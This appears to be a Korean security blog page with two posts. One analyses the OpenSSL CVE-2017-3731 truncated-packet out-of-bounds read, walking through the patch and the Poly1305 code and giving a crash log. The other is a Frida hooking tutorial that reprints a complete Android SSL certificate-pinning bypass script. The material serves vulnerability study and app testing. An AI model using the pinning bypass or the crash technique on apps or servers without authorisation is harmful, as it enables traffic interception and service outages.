8/31/2017

[EXPLOIT] OpenSSL OOB(Out-Of-Bound) Read DOS Vulnerability. Analysis CVE-2017-3731


사실 a2sv의 진단 모듈 추가건으로 알아보다가 이 포스팅을 시작하게 되었습니다. 취약점 특성 상 툴에 적용은 어려워 아쉬운점이 있지만 그래도 쭉 분석해보는 재미있는 시간이 되었네요.

오늘은 올해 나온 OpenSSL Truncated packet 취약점인 CVE-2017-3731에 대해 알아보고 코드단에서 어떤것들이 문제가있는지 알아보겠습니다.


CVE-2017-3731

이 취약점은 올해 5월 4일 공개된 취약점입니다. cvss부터 보면 DOS이기 때문에 가용성만 partial를 받았습니다. 공격 복잡도나 접근 범위등은 당연히 .. 아주 쉬워 NL이네요. 물론 SSL 취약점이기에 인증또한 없구요.

CVSS
 - AV:N
 - AC:L
 - Au:N
 - C:N
 - I:N
 - A:P

Rapid7의 취약점 정의에는 아래와 같이 써있습니다.

If an SSL/TLS server or client is running on a 32-bit host, and a specific cipher is being used, then a truncated packet can cause that server or client to perform an out-of-bounds read, usually resulting in a crash. For OpenSSL 1.1.0, the crash can be triggered when using CHACHA20/POLY1305; users should upgrade to 1.1.0d. For Openssl 1.0.2, the crash can be triggered when using RC4-MD5; users who have not disabled that algorithm should update to 1.0.2k.

32bit의 SSl/TLS 서버나 클라이언트에서 동작하고, CHACHA20/POLY1305를 사용하며, 취약 버전의 SSL일 경우 Crash를 발생시킬 수 있다고 써있네요. 아래에서 이야기하겠지만 OpenSSL의 CHACHA20, POLY1305의 문제입니다.

시작해볼까요?

What diffrent? 

CVE-2017-3731 취약점이 패치된 OpenSSL과 취약 OpenSSL간에는 여러가지 차이가 있습니다. 그 중 e_chacha20_poly1305.c 파일에서 우리는 주목해야합니다. 바로 이 취약점에 대한 직접적인 패치 자리이기 때문이죠.

https://git.openssl.org/?p=openssl.git;a=commitdiff;h=2198b3a55de681e1f3c23edb0586afe13f438051

내용을 보면...

            len = aad[EVP_AEAD_TLS1_AAD_LEN - 2] << 8 |
                   aad[EVP_AEAD_TLS1_AAD_LEN - 1];
             if (!ctx->encrypt) {
+                if (len < POLY1305_BLOCK_SIZE)
+                    return 0;
                 len -= POLY1305_BLOCK_SIZE;     /* discount attached tag */
                 memcpy(temp, aad, EVP_AEAD_TLS1_AAD_LEN - 2);
                 aad = temp;

2줄이 추가되었습니다. POLY1305_BLOCK_SIZE와 len 값을 비교해서 Overflow를 방지한 것 같네요.

참고로 len은 unsigned int로 선언되고, POLY1305_BLOCK_SIZE의 값은 상수 16 입니다.

//len - e_chacha20_poly1305.c
unsigned int len;

// POLY1305_BLOCK_SIZE - poly1305,h
#define POLY1305_BLOCK_SIZE 16

아 그렇다면.. 우리가 봐야할 부분은 len 변수가 어떤 값의 길이인지, 그 값이 무엇인지, 그 값에 데이터를 쓰는 방법을 찾으면 거꾸로 풀어나갈 수 있을 것 같네요.

len은 어디서부터?

패치된 코드부터 len에 대해 찾아보면 아주 많이 사용됩니다.. 그 중 일반인 사용처를 제외하면 Poly1305_Update() 함수에 직접 들어가고, 그 부근에서도 많이 사용되죠.

if (in) {                                   /* aad or text */
     if (out == NULL) {                      /* aad */
         Poly1305_Update(POLY1305_ctx(actx), in, len);
         actx->len.aad += len;
         actx->aad = 1;
         return len;
     } else {                                /* plain- or ciphertext */
        if (actx->aad) {                    /* wrap up aad */
            if ((rem = (size_t)actx->len.aad % POLY1305_BLOCK_SIZE))
                Poly1305_Update(POLY1305_ctx(actx), zero,
                                 POLY1305_BLOCK_SIZE - rem);
            actx->aad = 0;
         }
        actx->tls_payload_length = NO_TLS_PAYLOAD_LENGTH;
        if (plen == NO_TLS_PAYLOAD_LENGTH)
              plen = len;
        else if (len != plen + POLY1305_BLOCK_SIZE)
              return -1;
        if (ctx->encrypt) {                 /* plaintext */
            chacha_cipher(ctx, out, in, plen);
            Poly1305_Update(POLY1305_ctx(actx), out, plen);
            in += plen;
            out += plen;
            actx->len.text += plen;
        } else {                            /* ciphertext */
            Poly1305_Update(POLY1305_ctx(actx), in, plen);
            chacha_cipher(ctx, out, in, plen);
            in += plen;
            out += plen;
            actx->len.text += plen;
        }
    }
 }

사실 하나하나씩 찾아봐야했겠지만.. Mcafee의 보고서를 본 뒤라, 바로 Poly1305_Update 함수부터 볼 수 밖에 없네요.
(덕분에 시간 단축)

일단 내부를 보기전에 plen 변수에는 len 값이 직접 들어가기 때문에 plen 사용구간에서도 동일하게 문제 발생이 있을 수 있습니다. 참고만해주세요.



그럼 len(plen 포함) 변수가 직접적으로 쓰이는 구간은 아래와 같습니다.

chacha_chipher()
Poly1305_Update()

두 함수네요. 그리고 코드 아래쪽(237.242 줄)에 잘 보시면 Poly1305_Update() 함수에서도 plen이 사용됩니다.

Poly1305_Update(POLY1305_ctx(actx), in, len);
Poly1305_Update(POLY1305_ctx(actx), in, plen);

어차피 두개 다 같은거니 뭐..

chacha_chipher() 함수


chacha_chipher 함수는 같은 파일에 정의되어 있습니다. 55번줄부터 123번줄까지입니다.

static int chacha_cipher(EVP_CIPHER_CTX * ctx, unsigned char *out,
                          const unsigned char *inp, size_t len)
 {
     EVP_CHACHA_KEY *key = data(ctx);
     unsigned int n, rem, ctr32;

     if ((n = key->partial_len)) {
         while (len && n < CHACHA_BLK_SIZE) {
             *out++ = *inp++ ^ key->buf[n++];
             len--;
         }
         key->partial_len = n;

         if (len == 0)
             return 1;

         if (n == CHACHA_BLK_SIZE) {
             key->partial_len = 0;
             key->counter[0]++;
             if (key->counter[0] == 0)
                 key->counter[1]++;
         }
     }

     rem = (unsigned int)(len % CHACHA_BLK_SIZE);
     len -= rem;
     ctr32 = key->counter[0];
     while (len >= CHACHA_BLK_SIZE) {
         size_t blocks = len / CHACHA_BLK_SIZE;
         /*
          * 1<<28 is just a not-so-small yet not-so-large number...
          * Below condition is practically never met, but it has to
          * be checked for code correctness.
          */
         if (sizeof(size_t)>sizeof(unsigned int) && blocks>(1U<<28))
             blocks = (1U<<28);

         /*
          * As ChaCha20_ctr32 operates on 32-bit counter, caller
          * has to handle overflow. 'if' below detects the
          * overflow, which is then handled by limiting the
          * amount of blocks to the exact overflow point...
          */
         ctr32 += (unsigned int)blocks;
         if (ctr32 < blocks) {
             blocks -= ctr32;
             ctr32 = 0;
         }
         blocks *= CHACHA_BLK_SIZE;
         ChaCha20_ctr32(out, inp, blocks, key->key.d, key->counter);
         len -= blocks;
         inp += blocks;
         out += blocks;

         key->counter[0] = ctr32;
         if (ctr32 == 0) key->counter[1]++;
     }

     if (rem) {
         memset(key->buf, 0, sizeof(key->buf));
         ChaCha20_ctr32(key->buf, key->buf, CHACHA_BLK_SIZE,
                        key->key.d, key->counter);
         for (n = 0; n < rem; n++)
             out[n] = inp[n] ^ key->buf[n];
         key->partial_len = rem;
     }

     return 1;
 }

글에 넣고보니 좀 길어보이네요. 일단 len 존재부터 보면

 static int chacha_cipher(EVP_CIPHER_CTX * ctx, unsigned char *out,
                          const unsigned char *inp, size_t len)
 {
     EVP_CHACHA_KEY *key = data(ctx);
     unsigned int n, rem, ctr32;

위와 같이 size_t 형태로 len 값을 받아옵니다. len 값은 unsigned int란거 기억나시나요?

unsigned int > 부호제외
size_t 각 OS비트에서 가장 큰 사이즈를 담을 수 있는 unsigend data type

Poly1305_Update() 함수


https://git.openssl.org/?p=openssl.git;a=blob;f=crypto/poly1305/poly1305.c;h=7c9f302bfc1689ea4b3d8d8d94f8842ca0dc17d6;hb=e87c056745845ecaa6a884fa9cf0dc0c404f0c46

위 경로로 가서 보시면 편합니다. 466줄~506줄입니다.

  void Poly1305_Update(POLY1305 *ctx, const unsigned char *inp, size_t len)
  {
  #ifdef POLY1305_ASM
      /*
       * As documented, poly1305_blocks is never called with input
       * longer than single block and padbit argument set to 0. This
       * property is fluently used in assembly modules to optimize
       * padbit handling on loop boundary.
       */
      poly1305_blocks_f poly1305_blocks_p = ctx->func.blocks;
  #endif
      size_t rem, num;
 
      if ((num = ctx->num)) {
          rem = POLY1305_BLOCK_SIZE - num;
          if (len >= rem) {
              memcpy(ctx->data + num, inp, rem);
              poly1305_blocks(ctx->opaque, ctx->data, POLY1305_BLOCK_SIZE, 1);
              inp += rem;
              len -= rem;
          } else {
              /* Still not enough data to process a block. */
              memcpy(ctx->data + num, inp, len);
              ctx->num = num + len;
              return;
          }
      }
 
      rem = len % POLY1305_BLOCK_SIZE;
      len -= rem;
 
      if (len >= POLY1305_BLOCK_SIZE) {
          poly1305_blocks(ctx->opaque, inp, len, 1);
          inp += len;
      }
 
      if (rem)
         memcpy(ctx->data, inp, rem);
 
      ctx->num = rem;
  }

아까보다 짧아서 좋네요. 일단 len은 똑같이 size_t로 들어옵니다. 일단 size_t로 값이 들어왔기 때문에 아직까진 크게 문제있는 부분이 없습니다. 여기서 중점적으로 봐야할 부분은 poly1305_blocks 함수입니다. 인자값에 len을 사용하고 있죠.


Vulnerable point (poly1305_blocks function)


https://git.openssl.org/?p=openssl.git;a=blob;f=crypto/poly1305/poly1305.c;h=7c9f302bfc1689ea4b3d8d8d94f8842ca0dc17d6;hb=e87c056745845ecaa6a884fa9cf0dc0c404f0c46

아까랑 같은 파일 164번줄~219줄입니다.

  static void
  poly1305_blocks(void *ctx, const unsigned char *inp, size_t len, u32 padbit)
  {
      poly1305_internal *st = (poly1305_internal *)ctx;
      u64 r0, r1;
      u64 s1;
      u64 h0, h1, h2, c;
      u128 d0, d1;
 
      r0 = st->r[0];
      r1 = st->r[1];
 
      s1 = r1 + (r1 >> 2);
 
      h0 = st->h[0];
      h1 = st->h[1];
      h2 = st->h[2];
 
      while (len >= POLY1305_BLOCK_SIZE) {
          /* h += m[i] */
          h0 = (u64)(d0 = (u128)h0 + U8TOU64(inp + 0));
          h1 = (u64)(d1 = (u128)h1 + (d0 >> 64) + U8TOU64(inp + 8));
          /*
           * padbit can be zero only when original len was
           * POLY1306_BLOCK_SIZE, but we don't check
           */
          h2 += (u64)(d1 >> 64) + padbit;
 
          /* h *= r "%" p, where "%" stands for "partial remainder" */
          d0 = ((u128)h0 * r0) +
               ((u128)h1 * s1);
          d1 = ((u128)h0 * r1) +
               ((u128)h1 * r0) +
               (h2 * s1);
          h2 = (h2 * r0);
 
          /* last reduction step: */
          /* a) h2:h0 = h2<<128 + d1<<64 + d0 */
          h0 = (u64)d0;
          h1 = (u64)(d1 += d0 >> 64);
          h2 += (u64)(d1 >> 64);
          /* b) (h2:h0 += (h2:h0>>130) * 5) %= 2^130 */
          c = (h2 >> 2) + (h2 & ~3UL);
          h2 &= 3;
          h0 += c;
          h1 += (c = CONSTANT_TIME_CARRY(h0,c));   /* doesn't overflow */

          inp += POLY1305_BLOCK_SIZE;
          len -= POLY1305_BLOCK_SIZE;
      }
 
      st->h[0] = h0;
      st->h[1] = h1;
      st->h[2] = h2;
  }

아까 들어온 len 값은 POLY1305_BLOCK_SIZE와 비교 구문이 걸린 while을 통해 반복 수행이 이루어집니다.

POLY1305_BLOCK_SIZE 값은 16이였죠? 그럼 len이 16보다 큰 경우에 이 코드가 동작하게 되고 len이 16과 같거나 작아질때까지 계속 루프를 돌게됩니다.

      while (len >= POLY1305_BLOCK_SIZE) {
          /* h += m[i] */
          h0 = (u64)(d0 = (u128)h0 + U8TOU64(inp + 0));
          h1 = (u64)(d1 = (u128)h1 + (d0 >> 64) + U8TOU64(inp + 8));
          /*
           * padbit can be zero only when original len was
           * POLY1306_BLOCK_SIZE, but we don't check
           */
          h2 += (u64)(d1 >> 64) + padbit;
 
          /* h *= r "%" p, where "%" stands for "partial remainder" */
          d0 = ((u128)h0 * r0) +
               ((u128)h1 * s1);
          d1 = ((u128)h0 * r1) +
               ((u128)h1 * r0) +
               (h2 * s1);
          h2 = (h2 * r0);
 

len 값의 변화는

 213         len -= POLY1305_BLOCK_SIZE;

213번줄에 명시되어 있습니다. 루프를 돌면서 len에서 16을 계속 반복해서 빼주고 있습니다. 여기서 문제는 len 값이 size_t로 정의되기 때문에 아주 크다는 것입니다. len의 값이 크게 들어올수록 해당 코드는 계속 반복하며 16과 같거나 작아질때까지 로프를 도는데, 여기 while에 걸려있는 코드가..

  static void
  poly1305_blocks(void *ctx, const unsigned char *inp, size_t len, u32 padbit)

 ...snip...

          h0 = (u64)(d0 = (u128)h0 + U8TOU64(inp + 0));
          h1 = (u64)(d1 = (u128)h1 + (d0 >> 64) + U8TOU64(inp + 8));
          /*
           * padbit can be zero only when original len was
           * POLY1306_BLOCK_SIZE, but we don't check
           */
          h2 += (u64)(d1 >> 64) + padbit;

 ...snip...

          inp += POLY1305_BLOCK_SIZE;

이런 형태인데요, U8TOU64()함수는 inp라는 변수의 값을 인자값으로 사용하는데, inp는 포인터입니다. 이 친구는 메모리값을 참조하고 있고 아래쪽 코드를 보면 212줄에서 inp의 값 또한 POLY1305_BLOCK_SIZE, 즉 16씩 계속 더해주게 됩니다.

만약 len값이 아주 크다면 어떤 일이 이루어질까요?

len이 16이 될때까지 반복적으로 루프가 돌것이며 그 순간 inp의 값(메모리)은 16씩 더해지며 U8TOU64()함수로 주소를 넘기게 됩니다. U8TOU64() 함수는 아래와 같이..

  static u64 U8TOU64(const unsigned char *p)
  {
      return (((u64)(p[0] & 0xff)) |
              ((u64)(p[1] & 0xff) << 8) |
              ((u64)(p[2] & 0xff) << 16) |
              ((u64)(p[3] & 0xff) << 24) |
              ((u64)(p[4] & 0xff) << 32) |
              ((u64)(p[5] & 0xff) << 40) |
              ((u64)(p[6] & 0xff) << 48) |
              ((u64)(p[7] & 0xff) << 56));
  }

받은 주소를 연산하여 처리하기 때문에 U8TOU64가 처리할 수 없는 메모리의 값이 들어오면 메모리 참조가 불안정해지는 문제가 발생합니다.


자 len값으로 인해 DOS가 되겠네요 :)
OpenSSL의 DOS는 의외로 서비스에 큰 문제를 나타낼 수 있습니다. SSL이 정상적으로 동작하지 않으면 https에 접근이 불가능해지고, 안그래도 최근 https 서비스가 많은 마당에 굉장한 효과를 나타낼 수 있겠지요.

Attack!

취약 버전의 OpenSSL과 OpenSSL client가 있다면 쉽게 테스트가 가능합니다.
일단 연동된 https 서비스나 openssl로 ssl 서버를 동작시켜준 후 openssl client or 다른 프로그램 or 가내수공업프로그램.. 등등 여러가지 방법으로 16byte 미만의 handshake 메시지를 chacha20_poly1305 cipher로 전송합니다.

#> server.sh
Start OpenSSL Server...

Program received signal SIGSEGV, Segmentation fault.
0xb45158a1 in U8TOU32 (
   p=0x6b15210 <error: Cannot access memeory at address 0x6b15210>)
   at crypto/poly1305/poly1305.c:43
43           return (((unsigned int)(p[0] & 0xff)) |

구글에서 만든 퍼저인 honggfuzz에서도 이 취약점을 지원한다고 하는데요. 한번 테스트해보시면 좋을 것 같네요.
https://github.com/google/honggfuzz

Conclusion

https에 대한 정책? 전체적인 변화로 최근 대다수 사이트가 https를 지원하고 있습니다. 이런 환경에서 간단한 DOS 취약점이여도 서비스를 쉽게 마비시킬 수 있기 때문에 OpenSSL에 대한 취약점은 굉장히 위험하다고 생각합니다.

Reference

https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-cve-2017-3731-truncated-packets-can-cause-denial-service-openssl/?utm_source=twitter&utm_campaign=Labs#sf61252921
https://github.com/openssl/openssl/blob/master/crypto/poly1305/poly1305.c
https://git.openssl.org/?p=openssl.git;a=blob;f=crypto/poly1305/poly1305.c;h=7c9f302bfc1689ea4b3d8d8d94f8842ca0dc17d6;hb=e87c056745845ecaa6a884fa9cf0dc0c404f0c46
https://www.rapid7.com/db/vulnerabilities/http-openssl-cve-2017-3731
https://github.com/google/honggfuzz
Share: | Coffee Me:

[HACKING] Frida를 이용한 멀티 플랫폼 후킹(Hooking to multi platform with Frida / Android / iOS / Other..)


간만에 툴 소개를 좀 할까 합니다. 오늘 이야기드릴 툴은 .. Frida 입니다.
파이썬 기반의 라이브러리 + Command로 구성되어 있고 Native App에 대한 후킹을 통해 분석에 도움을 줄 수 있는 프로그램이죠.

What is Frida?

위에서 설명드렸듯이 Frida는 JS Injection을 이용하여 Windows, macOS, Linux, iOS, Android, and QNX 기반의 네이티앱에 대해 후킹이 가능한 파이썬 라이브러리입니다. 대표적으론 iOS, Android 등 모바일 분석 때문에 알려져 있지만 다른 플랫폼에서도 사용이 가능하기 때문에 확장적인 면에서 좋습니다.

Frida는 Python 기반의 프로그램입니다. 물론 Core 부분은 C와 Google V8 Engine으로 작성됬지만 대체로 Python library를 많이 사용하지요. 이친구는 JS, C, Swift 등 여러 API를 지원하니 입맛에 맞게 개발해서 사용하시면 좋습니다.

Install frida library

먼저 frida를 설치합니다. python package로 제공되고 있어 pip를 통해 설치가 가능합니다.

#> pip install frida
Collecting frida
  Downloading frida-10.5.8.tar.gz
Requirement already satisfied: colorama>=0.2.7 in /usr/local/lib/python2.7/dist-packages/colorama-0.3.9-py2.7.egg (from frida)
Collecting prompt-toolkit>=0.57 (from frida)
  Downloading prompt_toolkit-1.0.15-py2-none-any.whl (247kB)
    100% |████████████████████████████████| 256kB 1.2MB/s
Requirement already satisfied: pygments>=2.0.2 in /usr/lib/python2.7/dist-packages (from frida)
Requirement already satisfied: six>=1.9.0 in /usr/lib/python2.7/dist-packages (from prompt-toolkit>=0.57->frida)
Requirement already satisfied: wcwidth in /usr/local/lib/python2.7/dist-packages/wcwidth-0.1.7-py2.7.egg (from prompt-toolkit>=0.57->frida)
Building wheels for collected packages: frida
  Running setup.py bdist_wheel for frida ... \



Download & Setting frida server(android)

실제 사용을 위해선 frida만 설치해서 되는 문제가 아닙니다. 각 플랫폼에 연결되는 Agent 설치가 필요하죠.
Android 디바이스 기준으로 이야기드리겠습니다. 먼저 https://github.com/frida/frida/releases 에 접근해서 frida server를 다운로드합니다. 여기서 frida-server는 각 플랫폼별과 비트수별로 버전이 있고 상황에 맞게 받아서 사용해주시면 됩니다.




안드로이드의 경우 xz로 묶여있습니다. 풀어주시고..

#> ls
frida-server-10.5.8-android-arm.xz
#> unxz frida-server-10.5.8-android-arm.xz 
#> ll
합계 45560
drwxr-xr-x  2 hahwul hahwul     4096  8월 31 22:08 ./
drwxr-xr-x 67 hahwul hahwul     4096  8월 31 21:33 ../
-rw-rw-r--  1 hahwul hahwul 46650120  8월 31 22:08 frida-server-10.5.8-android-arm

편의를 위해 이름을 바꾸겠습니다. (넘길어)

#> cp frida-server-10.5.8-android-arm frida-server

adb를 활성화해서 안드로이드 폰에 연결한 후 frida-server를 폰에 넣어 실행해줍니다.

#> adb connect 192.168.0.74
* daemon not running. starting it now on port 5037 *
* daemon started successfully *
connected to 192.168.0.74:5555

push로 넣어주고, 권한 설정 후. 실행해줍니다. 물론 이 과정은 root 권한으로 되어야합니다.

#> adb root
#> adb push frida-server /data/local/tmp
855 KB/s (46650120 bytes in 53.268s)
#> adb shell "chmod 777 /data/local/tmp/frida-server"
#> adb shell "/data/local/tmp/frida-server &"

혹시라도.. adb root 시 에러가 발생한다면.. 아래 trouble shotting 쪽 참고해주세요.
(요약하면 adb shell로 직접 들어가서 su 이후 작업해주시면 됩니다)

잘 실행되었나 볼까요?

#(android) ps | grep server                        
drm       331   1     29452  1660  ffffffff b6f0b090 S /system/bin/drmserver
media     332   1     199940 4884  ffffffff b6eb6090 S /system/bin/mediaserver
media     370   1     42412  1380  ffffffff b6f79090 S /system/bin/dmbserver
system    881   366   2226688 110888 ffffffff b6ef79c8 S system_server
system    1315  1     7192   668   ffffffff b6ef0090 S /system/bin/tlc_server
system    1316  1     7192   664   ffffffff b6eec090 S /system/bin/tlc_server
radio     1683  366   1832928 16752 ffffffff b6ef79c8 S com.android.server.telecom
root      20932 20777 39852  28996 ffffffff b5dcff84 S ./frida-server

맨 아래 20932번으로 잘 돌아가고 있네요.


Frida command

pip를 통해 frida를 설치하면 python 라이브러리도 생기지만 command line 기반 프로그램도 생성됩니다.



옵션을 대충 보면..

Usage: frida [options] target

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -D ID, --device=ID    connect to device with the given ID
  -U, --usb             connect to USB device
  -R, --remote          connect to remote frida-server
  -H HOST, --host=HOST  connect to remote frida-server on HOST
  -f FILE, --file=FILE  spawn FILE
  -n NAME, --attach-name=NAME
                        attach to NAME
  -p PID, --attach-pid=PID
                        attach to PID
  --debug               enable the Node.js compatible script debugger
  --enable-jit          enable JIT
  -l SCRIPT, --load=SCRIPT
                        load SCRIPT
  -c CODESHARE_URI, --codeshare=CODESHARE_URI
                        load CODESHARE_URI
  -e CODE, --eval=CODE  evaluate CODE
  -q                    quiet mode (no prompt) and quit after -l and -e
  --no-pause            automatically start main thread after startup
  -o LOGFILE, --output=LOGFILE
                        output to log file

-D , -R , -U , -H 옵션으로 타겟을 지정해주고, -P 옵션으로 원하는 pid를 후킹합니다.

#> frida -D 192.168.0.74:5555
Usage: frida [options] target

frida: error: target file, process name or pid must be specified
#> frida -D 192.168.0.74:5555 -p 2011
     ____
    / _  |   Frida 10.5.8 - A world-class dynamic instrumentation framework
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at http://www.frida.re/docs/home/
Attaching...           

간단하죠? 여기서 -D 옵션을 준 이유는.. adb를 원격으로 붙여놨기 때문이죠.
아닌 경우에 보통 -U 옵션(usb)이나 -R 옵션(remote, ip)으로 연결합니다.

Attach된 이후부터는 JS 코드로 제어/후킹이 가능해집니다. (마치 irb로 보는 것 처럼)
다만, 매번 하나하나 코드를 써가면서 테스트하기엔 어렵기 때문에 미리 Js 코드를 만들어두고 로드해서 사용합니다. (function 으로 만들어 필요할 떄 불러쓰거나 익명함수로 바로 실행되도록 해서 결과를 확인한다는 둥.. 여러가지 방법이 있겠네요)

추가로 frida는 몇가지 명령을 별도로 지원합니다.


1. frida-ps

이 명령은 frida-server를 통해 process list를 확인합니다. 직접 안들어가도 되요. Attach 시 패키지 이름? 앱 이름이라고 해야하나..아무튼 그걸로도 잡을 수 있긴 하지만, pid가 가장 확실하기 떄문에 frida-ps로 pid 확인 후 frida로 attac합니다.

Usage: frida-ps [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -D ID, --device=ID    connect to device with the given ID
  -U, --usb             connect to USB device
  -R, --remote          connect to remote frida-server
  -H HOST, --host=HOST  connect to remote frida-server on HOST
  -a, --applications    list only applications
  -i, --installed       include all installed applications

#> frida-ps -D "192.168.0.74:5555"
  PID  Name
-----  --------------------------------------------------
23814  Com.sktelecom.minit
 8586  adbd
  363  adsprpcd
 1813  android.process.acore
  621  androidshmservice
  333  apaservice
  373  at_distributor
 2391  auditd
  365  bintvoutservice
  376  cnd
  380  cnss-daemon
 6669  com.ahnlab.v3mobilesecurity.soda
 3942  com.android.bluetooth


2. frida-trace

frida-trace는 함수 호출에 대해서 동적으로 추적해줍니다. 예를들면 옵션을 주어 앱을 모니터링하고 있을 때 해당 앱에서 발생하는 function에 대해 기록하고 보여준다는 이야기죠.

Usage: frida-trace [options] target

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -D ID, --device=ID    connect to device with the given ID
  -U, --usb             connect to USB device
  -R, --remote          connect to remote frida-server
  -H HOST, --host=HOST  connect to remote frida-server on HOST
  -f FILE, --file=FILE  spawn FILE
  -n NAME, --attach-name=NAME
                        attach to NAME
  -p PID, --attach-pid=PID
                        attach to PID
  --debug               enable the Node.js compatible script debugger
  --enable-jit          enable JIT
  -I MODULE, --include-module=MODULE
                        include MODULE
  -X MODULE, --exclude-module=MODULE
                        exclude MODULE
  -i FUNCTION, --include=FUNCTION
                        include FUNCTION
  -x FUNCTION, --exclude=FUNCTION
                        exclude FUNCTION
  -a MODULE!OFFSET, --add=MODULE!OFFSET
                        add MODULE!OFFSET
  -T, --include-imports
                        include program's imports
  -t MODULE, --include-module-imports=MODULE
                        include MODULE imports
  -m OBJC_METHOD, --include-objc-method=OBJC_METHOD
                        include OBJC_METHOD

Uploading data...
open: Auto-generated handler …/linker/open.js
open: Auto-generated handler …/libc.so/open.js

Frida in Console & Code


Frida를 사용하는 방법은 크게 2가지정도로 나옵니다. 하나는 Console mode, 하나는 code에서 라이브러리르 불러서 사용하는 형태.

저의 경우는 Console를 애용하며, 프리다 실행 후 대화형쉘에서 직접 Javascript 구문으로 후킹을 진행합니다. 

#> frida -U "앱"

Android / iOS,  PC 들 공통적으로 훅을 걸 포인트를 찾는게 가장 중요합니다. 코드를 볼 수 있는 환경이면 코드로 걸어서 바로 진입하고, 블랙박스 테스팅의 경우 리버싱이나 추가적인 분석으로 .. 봐야할 함수의 위치를 찾아야하죠. 

var hook = ObjC.classes.YourClass["- yourFunction"]
Interceptor.attach(hook.implementation, {onload(args){ console.log('gogogogo')  }});

그다음 Interceptor로 attach 하거나 replace 등으로 로직을 바꿔주심됩니다. 여기서 발생하는 이벤트는 javascript의 이벤트와 동일하므로 onload, onleave 받아서 처리해주심되요. 프리다 공식홈에 잘 나와있으니 참고해주세요~

python에서 로드하는 경우

import frida, sys

def on_message(message, data):
    if message['type'] == 'send':
        print("[*] {0}".format(message['payload']))
    else:
        print(message)

jscode = """
Java.perform(function () {
    var MainActivity = Java.use('com.yourapp.MainActivity');
    MainActivity.onClick.implementation = function (v) {
        send('onClick');
        this.onClick(v);

        this.m.value = 0;
        this.n.value = 1;
        this.cnt.value = 999;

        // Log to the console that it's done, and we should have the flag!
        console.log('Done:' + JSON.stringify(this.cnt));
    };
});
"""

process = frida.get_usb_device().attach('com.your.app')
script = process.create_script(jscode)
script.on('message', on_message)
script.load()
sys.stdin.read()
자세한 내용은 API Reference를 보시는게 좋을 것 같습니다.
https://www.frida.re/docs/javascript-api

Frida CodeShare

보통은 분석하는 대상 앱에 따라 frida 코드를 작성해서 테스트하는데요, 서로 작성한 코드를 공유하는 사이트가 있습니다. frida에서 공식적으로 지원하는 웹 페이지이고 이를 이용하면 필요한 테스트를 조금 더 편하게 할 수 있습니다.

https://codeshare.frida.re/browse

Frida 코드 작성법(?)에 대해 감 잡기도 좋은 것 같구요.


Frida 많이 쓰는 이유 중 하나가 SSL Pinning 때문이기도 한데요, codeshare에 Pinning 우회 코드가 있습니다. 참고하셔서 필요한 부분은 수정해서 쓰시면 좋습니다.
(요약하믄 키 스토어를 디바이스껄로 바라보도록..)

https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

setTimeout(function(){
    Java.perform(function (){
        console.log("");
        console.log("[.] Cert Pinning Bypass/Re-Pinning");

        var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
        var FileInputStream = Java.use("java.io.FileInputStream");
        var BufferedInputStream = Java.use("java.io.BufferedInputStream");
        var X509Certificate = Java.use("java.security.cert.X509Certificate");
        var KeyStore = Java.use("java.security.KeyStore");
        var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
        var SSLContext = Java.use("javax.net.ssl.SSLContext");

        // Load CAs from an InputStream
        console.log("[+] Loading our CA...")
        cf = CertificateFactory.getInstance("X.509");
        
        try {
            var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
        }
        catch(err) {
            console.log("[o] " + err);
        }
        
        var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
          var ca = cf.generateCertificate(bufferedInputStream);
        bufferedInputStream.close();

        var certInfo = Java.cast(ca, X509Certificate);
        console.log("[o] Our CA Info: " + certInfo.getSubjectDN());

        // Create a KeyStore containing our trusted CAs
        console.log("[+] Creating a KeyStore for our CA...");
        var keyStoreType = KeyStore.getDefaultType();
        var keyStore = KeyStore.getInstance(keyStoreType);
        keyStore.load(null, null);
        keyStore.setCertificateEntry("ca", ca);
        
        // Create a TrustManager that trusts the CAs in our KeyStore
        console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
        var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
        var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
        tmf.init(keyStore);
        console.log("[+] Our TrustManager is ready...");

        console.log("[+] Hijacking SSLContext methods now...")
        console.log("[-] Waiting for the app to invoke SSLContext.init()...")

           SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
               console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
               SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
               console.log("[+] SSLContext initialized with our custom TrustManager!");
           }
    });
},0); 


기능에 따라 코드가 많이질수도 있는데, 다행히 Frida에서 codeshare를 바로 불러와 사용하는 기능을 제공합니다.

--codeshare 옵션으로 업로더/이름 형태로 불러와서 사용할 수 있습니다. 위의 피닝 코드로 예를들면..

#> frida -U --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida

Troubleshot

설치 과정 중 몇가지 에러 포인트가 있어습니다.

1. android에서 frida-server실행 시 "not executable: magic 7F4" 메시지 발생하는 경우
실행이 불가능한 확장자인가 싶어서 readelf로 봤더니.. 


#> readelf --file-header --arch-specific frida-server
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x7beb0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          46648520 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         25
  Section header string table index: 24

